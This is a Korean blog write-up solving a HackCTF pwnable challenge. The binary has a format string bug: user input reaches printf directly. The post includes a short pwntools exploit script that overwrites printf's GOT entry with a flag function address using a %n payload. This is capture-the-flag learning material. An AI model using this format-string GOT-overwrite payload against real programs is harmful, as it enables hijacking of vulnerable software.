문제 종류 - Pwnable
사용한 툴 - IDA
nc ctf.j0n9hyun.xyz 3002
풀이
처음하는 포너블은 너무 어렵다.. ㅠㅠ
FSB가 뭐지 하고 찾아보니까 포멧스트링 버그이다. IDA로 일단 까보자.
메인 함수에서는 vuln 함수를 실행하고 종료한다. vuln 함수로 넘어가 보자.
fgets로 입력을 받는데, printf 부분에 포멧스트링 지정자가 존재하지 않는다.
아마 이 부분을 이용해 공격을 수행해야 할 듯하다.
먼저 어느 부분에서 입력받은 값을 참조하는지 알아내기 위해, 다음과 같은 값을 입력한다.
두번째 %x에서 입력받은 값을 참조하니, 입력 값을 printf@got 주소로 변경하고, flag 함수 주소의 -4 만큼 해주면 flag를 얻을 수 있을 거 같다.
1 from pwn import *
2
3 p = remote('ctf.j0n9hyun.xyz',3002)
4
5 payload = '\x0c\xa0\x04\x08' + '%134514096x%n'
6 p.sendline(payload)
7 p.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] 내 버퍼가 흘러넘친다!!! 풀이 (150p) (0) | 2020.07.15 |
---|---|
[HackCTF] 달라란 침공 풀이 (150p) (0) | 2020.07.14 |
[HackCTF] Basic_BOF #2 풀이 (100p) (0) | 2020.07.14 |
[HackCTF] Basic_BOF #1 풀이 (100p) (0) | 2020.07.14 |
[HackCTF] static 풀이 (250p) (0) | 2020.07.13 |